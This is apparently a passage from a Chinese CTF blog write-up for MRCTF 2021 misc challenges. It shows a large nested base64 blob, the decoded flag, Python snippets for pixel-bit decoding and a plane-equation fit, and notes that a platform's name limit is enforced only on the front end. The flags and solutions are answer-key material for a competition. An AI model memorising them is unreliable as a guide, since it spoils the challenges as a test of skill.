HUlRVbTFTU0dOSGJGTmlSM1ExVm14amQyVkZNVWRYV0dST1ZtMVNjVlZyVm1GV01WSllUbGM1VTFKc2NIaFZNblF3VmtaYWNsZHFSbGhoTVhCeVdWWmFhMUl4VG5OaVJtUnBWa1ZKTUZac1kzaFdNVWw0WTBWc1YySkZOWEJWYkdoRFpERmFkR1ZIUm10TmExcElWakkxVTFSc1drWlRia1pWVmxaS1dGWXdXbUZrUlRWWFZHMW9UbFpYT0hsWFYzUmhZVEZhZEZOc2JHaFRTRUpXV1d0YWQyVnNXblJOVldSVFlrWktlbGRyWkhOV01XUkdVMnQwVjAxV2NGaFdha1pTWlVkS1IxcEdVbWhOV0VKYVYxY3hNR1F4WkVkaVJtaHJVakJhYjFWdE5VTlNNVnB6Vld4a1YwMUVSbGhaTUdoelZsZEtSMk5JU2xwV2JWSkhXa1JHYTFkWFRrZGFSMnhZVWpKb05GWXlkRk5SYlZaSFYxaG9WbUpIZUc5VmJURnZZakZTV0UxWE9WZGlSMUpaV2tWa01HRlZNWEppUkZKWFlsUldTRlpYTVV0V2JHUnpZVVp3YUUxWVFYcFdSbFpoWkRGYWRGSnJhR3RTYkZwdldsZDBZVmRXWkZWUmJUbHFUVlpzTTFSV2FFZFZNa1Y1WVVkR1YyRnJOWFpaVlZweVpWZE9ObEpzYUZkTlNFSkpWMVpXYTJJeFVuTmFSVnBVWWtWd1dGUldXbmRoUm1SWFYyczFiRlpzU2pGV1YzaFhZVVV4VjJOR2NGaFdNMUp5VmxSS1NtVkdWbk5oUjNCc1lUQndVRlpYTUhoVk1XUnpZVE5rVjJKWVVsaFVWM1IzVjBaWmVXVkhPVmROVlc4eVZtMTRiMVl5UlhsVmEzaFdZV3RhVUZwR1drZGpNWEJJWWtaT2FXRXdXVEpXYlRGM1VqRnNWMkpHWkZSWFIyaHdWV3RhZDFaR2JITmFSRkpWVFZad2VGVnRkREJXUmxwellrUldZVkpYVWtoWlZWVjRWMFpXY21KR1drNWliRXB2VjFaa05GUXhTbkpPVm1SaFVtNUNjRlZ0ZEhkVFZscDBaRWRHYTAxWFVrbFdiWFJ6VmxkS1NGVnVRbFpoYTFwTVZHMTRZV05zYTNwaFIyeE9WbXhaTUZacVNqQlpWbVJJVTJ4YVdHSkhhRmhaYkZKSFZERndWbGR1VG1wV2EzQjZXVEJrTkZVeVNsZFRiVVpZVmtWS2NsbHFSbUZTTVU1ellrWkthVll5YUZwV2JUQjRWVzFSZUZwR1pHRlNWR3h4VkZaYWQwMVdWblJsUlRsb1ZtdHNORlV5Tlc5V01VcDBWVmhrV0Zac2NFdGFWVnBYVjFkR1IyRkhiRmhTYTNCYVZtdGFZVmxYVVhoVWEyUllWMGQ0Y1ZWc2FGTlhSbEpZWkVoa1ZGWnNjRWxaTUZwUFZqRlpkMVpxVmxkV00yaFFWMVphWVdNeVRraGhSbkJPWW0xbmVsWlhjRWRrTVVsNVVtdGtWV0Y2Vms5WmJHUnFaVVphZEUxVVVtaE5iRVkwVmxab2IxWXhaRWhsUmxaWFRVZFNkbGt3V2xaa01WcFZVbXhvVTJKWVozZFdSbHBoVkRGa1IxTnVUbFJpUjJoWVZGZHdWMk5zV2tobFJYUnJVakZLUmxaSGVHOWhSVEZYWTBoc1YyRnJTbWhWTWpGU1pWWlNjbGR0YUZOaWEwcFFWbGN3TVZFd01YTlhia1pVWW01Q2MxVnRjekZUVmxaMFpFZEdhVkpyY0RCV1Z6QTFWMnhhUms1VlVsWk5WbkJ5Vm14YVQyTldWblJoUlRWb1pXeFdNMVp0TUhoTlIwVjRZa1prVkZkSGVHOVZibkJ6Vm14YWNsWnJkRlZTYkhCWldsVmtSMkZyTVZsUmEzQllZVEZ3VUZaSGVGcGxiVVpIWTBaa2FFMVlRakpYV0hCSFZtMVdWMU5zYkdsU2JIQndWbXRrTkZkR1pGaGxSemxwVFZaS1NGWXlOVXRYUjBwV1YyNUdWVll6VW1oVmFrWmhVMGRXUjFSc1ZtbFNia0Y0Vmxaa2QxVXhXWGhYYWxwU1lXeEtWMWxYZEdGaFJtdDVZek5vVjAxWFVubFViRnByVlRKRmVsRnNjRmROVjFGM1dWUktTbVZXVm5WVWJHaFlVakZLV2xkWGVHOVZNVnBYVm01R1VtSlZXbFZWYlRFMFpWWlplVTVYZEdoU2JIQXdWbGQwYzFkc1dsaFVWRVpYWVd0d1RGWXhXa2RqYlVaSFkwZDRhRTB3U2xGV01uaFhZVEZSZUZOdVVsTmhNbEpUV1d0a1UyTkdXblJrU0dSWFlrWnNORmRyVWxOaFZURnlZa1JPVldKR2NISldNR1JMWXpGT2NrOVdXbWhOVm5CdlYxZHdSMVV4V1hoYVNGWlZZWHBzVkZsclpETk5WbHBJWlVaYVQxWXdXa2xWTW5SaFlXeEtXRlZzWkZWV00wSklXa2Q0WVdOV1RuSmtSbEpUWWtad05WWkVSbUZXTVZsNVUydHNVbUpVYkZoWlYzUkxZMnhhU0UxV1pHdFNhM0I1VjJ0a2IxVXlSalpXYm1SWFZucENNMVJzVlRGU01XUlpZVVphYUUxRVZtaFdiWEJEVmpBMVIxZHNhRTlXYXpWWFZGZDBkMlZXVW5OWGJrNVlZa2RTU2xWWGRHOVdNREZIWTBod1YwMUhVbFJWYlRGVFUwZE9TR0pHVG1sU00xRXhWbTE0YW1WSFZuSk9WbVJYVjBkU1QxWnRNVk5qVmxaeVZtMUdXRkpzY0hoV1J6QTFWbXhLZEdWR2FGZE5ibEl6V1d0YVMyTnJOVlZTYkdob1RWaENlVmRXV21GaE1VbDRWRzVPYVZKdFVuQldhMVpLVFVaYWMxa3phRmROVld3MFdUQldjMVl5U2taT1dFSldZa2RvUkZwRVJtRmtSMVpJVW0xMFRtRXhjRWxXYWtreFZURlNjMVJyYUdoU2JWSldWbTE0Vm1WR1dYZFhiSEJzVmpGYVNWUXhaRzlVYkZwWVQwaHNXRll6VW5GVWJGcGhWakZrZFZSc2FHaGhlbFpYVm0xNFlXUXlSa2RYV0dSaFVsUnNVRmxyV25kbGJHUnlWbFJHYUZKVVJscFZWbEpIVmpKS1dWRnJlRlZXVmxWNFZXcEdhMlJXVG5KT1ZtaFRZa2hDTWxac1VrTldNbEY0V2tWa2FWSnRhSEpWYWtKaFlqRldkRTVWVGxOTlZtdzFXa1ZTUTJGRk1WWmlSRTVWWWtaYWNsWnNaRXRTTWs1SlUyeGtVMDB5YUc5V2FrSnJWVzFXZEZSclpHRlNNbmhaVldwS2IxWnNXbk5oU0dSU1lsWmFTRlpIZEd0V1IwcElaVWM1Vm1GclNtaFdhMXBoWTFaT2RFOVdaR2xTTVVwYVYydFdhMDFIUmxaTldFcHBVa1pLV0Zsc1VsZFdSbHBJWlVkR1QySlZjRWxWYlhocllWWmFSbFpZWkZkaVZFVXdWbXBLVTFKck5WZGhSM1JUWWtad2RsZHNaREJaVm1SWFdrWm9hMUpyTlZaVVZscHpUVEZTVjJGRlpGZE5hMVkyV1ZWa1IxZHNXa1pYYWs1WFVsWndNMVZ0ZUd0ak1YQklaRVprVGxORlNrdFdiR040VGtaUmVGZFlaRTVXYkhCWlZqQm9RMWRHYkhOaFJ6bFhVbXhaTWxWdGREQmhNVXB6WTBSR1YxSXphRkJaVm1SR1pVZE9SMk5HYUZkTk1VcDVWbXhTUzFReFNYaFhibFpUWWtVMWIxUldhRU5sVmxwSFYyMTBWazFYVWtoV01uaHZZVEZLUmxOc1pGVldWa3BJVmpGYVlWZEhVa2hQVm1Sb1pXdFplRmRXVm05a01XUkhWMjVPYWxKWVVtaFdhazV2VTBac05sSnNaR3BOV0VKSldWVmtiMkpIU2tkaVJGWlhZbFJHTTFWcVJuTlhSa3BaWVVkR1UxWXlhRmxYVmxKTFlqRldWMWR1VW10VFIxSldWRlphZDJWc1dsaGtSMFpWWWtWd01GWlhlR0ZXYkZvMlVtdG9WMDF1YUdoWmVrcExVbFpXYzJGSGFFNVdia0Y1VmpGYVYxbFdUWGxVV0doVlltczFXVmxyWkZOalJscHlWbTFHVjFac2NEQmFSV1JIWVRBeFdGVnJiRmRpV0ZKNlZteGtTMU5HVm5WUmJGcG9ZVEZ3VFZaSE1UUlpWMDV6WVROd2FGSXllRTlXYlhoYVRVWmFjVk5xUWxwV2JWSkpWVzAxVDJGc1NuUmhSbWhhVmtWYWFGcFdXbmRXYkdSMVZHeGtWMkV6UWpaWFZFSnJUa1pWZVZOc1pGUmlWVnBaVm10V1MyRkdaRmRhUldSWFRWZFNXbGxyWkc5Vk1rcFlZVVp3V0ZZelVuSldWekZTWlVad1IxcEdhR2xoZWxaWlZrWmtlazFXVGtkWFdHeHNVbnBzYjFadGRITk9SbFY1VGxjNVYwMVZjREJXVm1oclYwWmFjMk5GZEdGV1ZuQllWakZrUjFJeVJraGlSbWhUWVROQmVsWnRlR3RrTVVWNVZWaG9ZVk5GTlhCVmJYaDNWMVpzVlZOc1RsaFNiRXBaV2tWYWExUXhTblJrUkU1WVlUSk5NVll3V2t0ak1rNUZVV3hrVjAweWFGRldNVnBoV1ZkTmVWUnJhR2hTYmtKUFdXMHhibVZzV2xoalJXUnJUVlUxU1ZVeWRHOWhWa3B5VGxac1ZtSkdXak5XVkVaaFpFVXhTVnBIZUZOV1JscEtWbGQ0YjJJeFdYaGFSV2hvVW0xNFdGUlZaRk5rYkZweFVtNU9hbUpJUWtsVU1XUjNZVlpLYzFkWWNGZE5ibEpvVmtSR2ExSXhUblZVYkZKcFVqSm9XbGRXVWtkVE1WcEhZa2hLV0dKVlduRlVWM014VTBac2NsZHNaRmROYTNCSVdUQm9jMVl5Um5KVGJXaFdaV3R3VUZwRldrOWpiRnB6Vm0xc1UwMVZjRE5XYlhCRFZqRk5lRmRzWkZoaWExcFZXVzAxUTJNeFZuUmpla1pVVm14YU1GcEZaRWRoVmtweVkwUkNWMVl6VFRGV01qRkxWbFpLZFZkc2NHaGhNWEJ2VjFSR1lWSXlVa2RUYms1aFVsUldiMXBYZUZwTmJGbDRWV3RPVjAxcmJEUldiR2h6VmtkRmVXRkdaRnBoTWxKMlZtMTRZV1JIVmtoU2F6Vk9WbTVDV2xkc1ZtdFNNa1p5VFZaa1dHSnRlRmhWYm5CSFpHeGFTR1ZIUmxoU01Va3lWVmQ0YTFZeFNsZGpSRXBZVjBoQ1NGWnRNVmRXTVU1ellrZHNVMDF0YUZaV1YzaFhaREZrUjFwR2FHeFNlbXhXV1d4YVlWTkdiRlZVYlhSWVVqQndlVlJzV205V01rcFpWVzFvVlZac2NISlpNbmhoVmxaS2RHRkdaR2hOTUVZMFZteGFZV0l5UlhoWFdHaFVZbXMxY1ZWdGVFdFdNVnB5Vm0xR2FGSnRkRFZaZWs1dlZqQXhXRlZ1YkZWaVJuQnlWbFJLUm1Wc1JuTmpSbVJwVmtWR05GZHJVa2RYYlZaSFdraEtZVkp0YUhCWlZFWjNWbXhrVjFWck9WWk5WbkJZVm0wMVUySkdTWGRYYms1YVlURndlbFJzV25kV2JVWklaRWRvVTJKSVFYZFdiR1F3WWpGYWNrMVdhR2hTUlRWWVZGVmFkMWxXY0ZobFJXUnFZbFZhU0ZkclpHOWhSVEIzVTJ4S1YySlVSak5WYWtaV1pWWldjMXBHWkdsaGVsWlVWMWQwYTFVeVRrZFhibEpyVTBkU1dGbHJXbk5PUm1SeVZXeE9hRlpVUm5sWmExSlRWMjFGZUdOSVNsaFdiSEJNV1hwR2EyTXhVbk5qUjJ4VFlraENkbFl4WkhkU01WVjRXa1ZvVm1FeVVtaFZiRkpYVkRGYWRHUklaRmhXYkhCNFZURm9iMVJzU1hkWGEyeFdUVzVTYUZaRVJtRlhSMVpJVW14a2FWSnVRWHBYVkVvMFdWZE9WMVJ1U210U00xSllXVlJHZDA1V1dYbGtSM1JUVFZaV05GVXllR3RoYkVwSFkwWm9XbUpIYUVSVk1GcHJWakZrZEdSR2FGTmhNMEkxVmpKMGEySXhWWGxTYWxwWFltMVNXRlp1Y0VKbFJsWllZek5vYWsxWFVscFpWVnB2WVZaSmVGTnRhRmRpV0VKRVZtcEJNVkl4WkhOaFJUbFhWa2Q0V2xaWE1IaFZNVTVYWTBaYVdtVnNXbGhaYkZaWFRrWlplV05GT1ZkTlJFWklXVEJvZDFZd01VaFZiRkpXWWxSR1ZGVXdaRTlUUjBwSFZHMXNVMDB4UlhoV2JURTBZVzFSZVZacldrNVdWMUpaVmpCa1UxUXhXblJOVms1cVZteGFlVlp0TVVkWFJrcDBaVWh3V2xaWFRURldNRnBMWkVkV1IyRkdaRTVpYXpCNFZteFNTMU14U25KT1ZteHFVbTVDVDFWdE5VTmxWbHAwWTBWa1ZFMVdjREJXUjNScllWWktkRlZzYkZaTlJscE1WVEZhWVdOc1ZuSmFSbWhwVm14d1NWZFVRbGRqTVZsNVUydGFUMWRGU2xkWmExcExWMFp3UlZKdFJtdFNNVnBKVlcweE1GUnRSWGhqUld4WFlXdHJlRlpVUmxOak1YQkdZa1pLYUdWdGVGbFhWM2h2VkcxV1IxZFlaRmhpU0VKelZteFNWMWRHV2toTlZ6bFZZa1p3V1ZRd2FITlhSbGw2Vlc1R1ZXSkdjR2hXYWtaclpGWlNjMkZIYkdsaE1IQllWakZrTUZsWFVYbFdiazVZWW14S1QxWnNaRk5XUm14eVYydDBiR0pIVW5sWGEyaFBWakF4V0ZWclpGWk5ibEYzVm1wQmVGWXlUa2RoUm1Sb1lURndXRmRzVm1GaE1rMTVVbXRrVm1KWGVGUlVWRXB2VFd4YWMxVnJUbGROYkVZMFYydFdhMkZXVGtaalJteGFZbFJHVkZac1dsZGtSVFZXVkd4T1RsWnRkekZYYTFaVFVUSkdSazFXV21sU1JUVldXV3RhWVdOc1duTmFSWFJUVFdzMVNsVXllR3RWTURCNVlVYzVWMkZyU25KV1Z6RlhaRVpTY2xwSFJsTk5ibWhhVmxkd1MySXhXbk5YYms1b1UwZFNVMWxzV21GVFJscElaRWQwVjFZd2NFbGFWV2hEVm0xS1dWUllhRnBoYTFwVVZqQmtWMUp0VWtkYVIyeFRUVlZ3WVZacldtRmlNbEY0Vlc1T1dHSnJOWEZWYlRGdldWWnNWVk50T1ZaU2JIQjRWVEowTUZZeVNraFZibkJhVmxad00xbFZWWGhYVmtaWlkwWmtVMkpHY0c5WGExSkhXVmRTUjFOdVNtaFNNMUpVV1d0YWQyUnNaSE5hUkVKYVZtMVNXRmRyV2xkVmJVcFZZa2hHVlZac2NIcFVWRVpUVmpKR1JscEdXazVoTVZreFYxWldhMUl4V1hsU2JrcFBWMFp3WVZac1duZGxWbkJYVmxob1YyRjZiRmhXUjNocllVVXdkMU5VU2xkTlZuQllXVlJLU21WR1ZuVlViVVpUVm01Q1ZsZFhkRmRrTVdSSFlraE9hRkpyTlhGWmExcExaVlpaZVU1Vk9WaFNhM0I2VlRKd1IxWXhXWHBoUm1oYVZsWldORlpxU2s5U01rcEhZVVprVGsxVmNEVldiWGhUVWpGc1YxTllhRmRpYXpWWVdXdGFTMk5HV25KYVJGSnJUVlp3U0ZZeU1VZGhNREZ6VjJ4b1YwMXVhSFpaVkVaTFVteE9jMXBHVmxkV2EzQkpWbXBDWVdNeVRuTldiazVWWWtkU1QxWnNZelJsVmxwMFRWUlNVazFYVW5wV01qVlBZV3hLV1dGSFJsVldNMEpJVmxWYVYyTldUbkphUms1T1ZqRkpkMWRYZEdGVU1WSjBVMnhvYUZKWFVsaFpiRkpIVFRGV2NWSnVUbGhTYTNCYVdWVmtSMVV4V1hsaFJteFlWbXhLVEZaVVJtRmpNa3BKVTJ4a1YxSldjSGRXUmxwdlVURmtWMk5GV21GU1YxSllWVzE0ZDJWc2EzZGhSemxYWVhwR01WVlhlRk5XTWtaeVVtcFNWMkZyV21oWk1WcGhZekZrZEdKR1RrNWlWMUV5Vm0weE5HRnRWa2RVV0d4VlltdHdVRlp0TVZOaFJsWjBUbFZPYWxKc1dqQmFSV2hyVmtaYWMyTkVRbUZTVjFKSVZqQmtTMVl4WkhOaVJtUnBWMFpLTWxkV1VrZFRiVlp6VW01V1VtSkdjSEJXYTFwaFVsWmFkR05GWkZwV2JWSkhWRlphVjFadFNsaGhSVGxYWWxoU01scEVSbUZYUjFaSVQxZDBUbFpzYjNkV1ZFb3dZakpLUjFOdVVtaFNiV2hoVm10V1lXRkdjRmRYYm1SWFlrZFNNVlpITVhkV01rVjZVV3BhV0ZaRlNuSlVhMXBXWlZaT2MxcEdVbWxXVm5CYVZtMTBWMU15VG5OaVNFWlRZbFZhVkZSV1ZURmxiR3h5VjJ0MGFGWnJiRFJWTW5oM1ZqSktWVkpVUWxabGExcFVWV3BHYTJNeFduTlViV2hzWWxob1ZsWnJXbUZaVjFGM1RWWmtWMkpzU25OVmJGSnpZakZhZEUxV1RsUlNiRlkxVkd4b1QxWXdNWEpqUmxwV1lrWktSRlp0TVZkamJVNUhZVVp3YkdFelFrMVdWM0JIWVRKU1IxTnVUbFppUlRWWVZXMTRkbVZXV25STlNHUnNVbFJXU1ZaV2FITldNa3BJVlcwNVZWWkZjRlJXTVZwelpFVXhWMVJzYUZOaVJYQmFWMnRXYjJFeFdrZFhiazVxVWxkNFlWUlZXbmRWUmxweFVteHdhMDFXY0hoV2JYaHJWakF3ZVdGR1JsZE5WbkJvVjFaa1RtVldVbkpoUjJoVFltdEtVRmRYTUhoaWJWWnpWMnhvYWxKWFVuSlVWbFV4VTFaVmVXUkhPV2hXYTNCNVZHeGFjMVp0U2tkWGFrNVhWa1ZhYUZwRlZYaFRWbkJJWlVaT1YxSnNjRXRXYkdRMFlqSkplRmRZYUdGU1YyaHZWV3BLYjFZeGJISmFSazVYVW14d2VGVnROVTloYlVwSVZXcEdXR0V4Y0hKV1IzaGFaVzFHUjFwR1pGZFNWemgzVm10U1MxSXlUbkpOVm1SaFVqTkNWRlZzVm5kaU1WcDBaVWRHV0dKV1JqUlphMmhMV1ZaS1dWVnNVbFZXTTAxNFZXMTRWMWRIVmtkYVJtUk9WbTVDTlZkVVFtRmpNVmw1VTJ4c1VtRXdOV2hXYkZwM1ZFWmFjVkpyT1d0V2JFb3dWVzE0VDJGWFJYZGpSRTVYVFZkT05GUlZXazVsUmxaeldrWm9hV0pGY0ZCV1ZFSnJZakZhVjFWc1pHRlNhelZaVlcxNGQwMUdVbk5YYlhSWVVtdHNNMWt3Vm5OV01WbzJVVlJHVjAxdWFHaFZiWGhyWTFaU2MyTkhhR2hOV0VKMlZtMXdRMVp0VmtkWGJHUlhZbXhLYjFWc1VsZGlNWEJZWlVaa1RrMVdjREJVVldodlZHeEpkMVpxVWxwaE1YQnlWbXRhYTFOSFZraFBWbHBwWW10S05sWnRNVFJaVjA1elYyNUthMUpzV2xSWmEyaERWMnhrYzFadGRGTk5hMXA1VkZaYWIyRXhTa2RqUjBaWFlrWndWMVJXV21GV1ZrNXlaRVpvVjAxR2NFbFhWRUpoWVRKR1JrMVdiRkpoYTNCWlZtcE9RMVJHVm5GVGF6VnNVbXhLTVZaSE1XOVZNREYwWVVaYVYxWXphRmhhUkVaclVqRndSMkZIZUZObGJYaFhWMWQ0WVZsV1RrZFhXR3hyVW0xU1YxUlhkSGRXTVZsNVRsVmtWMVpzY0RCV1YzaFRXVlpaZW1GSWJHRlNSVm96Vld4YVYyUkhSa2RhUjJoT1RVVlpNRlp0ZUdGWlYwbDVVbGhvWVZKWGFGVlpWRXBUVjFac2RHUklaRmROVjNoWldrVmtSMkZHU25Sa1JGWmFaV3MxZGxacVFYaFhSbFp4VVd4d2FFMVlRbEZXYkZKTFVtMVdjMUp1VWxCV2JWSlBWbTAxUTFaV1dsaGpSWFJXWWxaYVdGWlhOVmRXVjBwSVlVWnNWbUZyV2t4WmFrWmhWMGRXU0U5V1drNWhlbFpaVjFkMGIxUXhXWGhYYTFwWVlrWktWbFp0ZUhkVFJsSnlWMnh3YkZaVVJsWlZWekZ2VlRKS1NWRllaRmRpUjFGM1dYcEdhMU5HU25WVGF6bFhVbFJXV1ZkV1pEQmtNVTVIWVROc2JGSlViSEpWYWtKaFUwWnJkMXBFVW1oU1ZFWmFWVmR3VjFZeVNsbFJhMUpZVm14d1YxcFdXbE5rVmxKMFkwWk9WMDF0YUZaV01XUXdWbXN4V0ZSclpGaGliRXB5VlRCa1UxZEdiSEpYYms1UFVtMVNlVlpYZEU5WFIwcEhZa1JTVm1KWVFsQldiR1JMVWpKT1NWTnNaRTVTTVVwTlYxaHdSMVF5VG5KUFZtUmhVakpvVDFadE5VTlViRnB4VW0xR1dsWnRlRmxXVjNSdlZqSkZlR05IYUZaaVJrcDZWbXRhYzJOdFJrWlRiWFJPVmpGS05sWnRNSGhTTWtaR1RWWmthbEp0ZUZkVVZ6VlRZVVpzV0dWRmRGaFNNVnBKVlcxNFYxWXhTbFZXYTFaWVlrWndhRlpxUmtwbFJrNXpWbTFzVTJFeGNGaFdiWFJUVVdzMVVsQlVNRDA9aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

把最后的 a 给去掉,然后不停解 base64。

貌似套了22层 base64,就离谱。

image-20210418000625265.png

MRCTF{bUt_Y0u_c@n_f1yyyyyyyy~}

BTW, 官方 WP 这个移位加置位的方式写起来挺方便的。

for i in range(400):
    for j in range(50):
        ch = 0
        for k in range(8):
            if judge(pim[i,j*8+k]) == 1:
                ch |= 1 << k
        flag += chr(ch)
flag = flag.strip('a')

另外来抄一下 snowywar 师傅求空间平面方程的解法

import numpy as np

mark = [(153, 15, 120),(51, 104, 132),(229, 38, 115)]

def define_area(point1, point2, point3):
    point1 = np.asarray(point1)
    point2 = np.asarray(point2)
    point3 = np.asarray(point3)
    AB = np.asmatrix(point2 - point1)
    AC = np.asmatrix(point3 - point1)
    N = np.cross(AB, AC)  # 向量叉乘,求法向量
    # Ax+By+Cz
    Ax = N[0, 0]
    By = N[0, 1]
    Cz = N[0, 2]
    D = -(Ax * point1[0] + By * point1[1] + Cz * point1[2])
    return -Ax, -By, -Cz, -D

res = ""
a,b,c,d = define_area((153, 15, 120),(51, 104, 132),(229, 38, 115))
print(a,b,c,d)

于是可以得到空间平面方程 Ax+By+Cz+D=0 的系数。


太顶了太顶了!

北邮的师傅们太强了 Orz。

BTW,师傅们自己开发的这个 CTFm 平台还不错,只是可能还比较新的原因还有点小 bug,不过问题不大,慢慢来嘛。

image-20210414230721513.png

比如 profile 页面这里的名字貌似只是前端做了限制,后端并没有限制来着(虽然图片上没有体现

image-20210414230826508.png

(比赛的时候就做了两题 + 问卷 check out,然后 rk45,就离谱

噢,官方 WriteUp 也出来了(

MRCTF Misc 官方WriteUp

MRCTF2021 Reverse官方wp

MRCTF2021 CRYPTO官方wp

MRCTF2021 官方ETH&IOT方向Wp

MRCTF2021 官方PWN方向Wp

(怎么 web 还没有呢 终于有了

MRCTF2021 Web方向Wp

就这样吧。累死了。

(溜了溜了喵


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK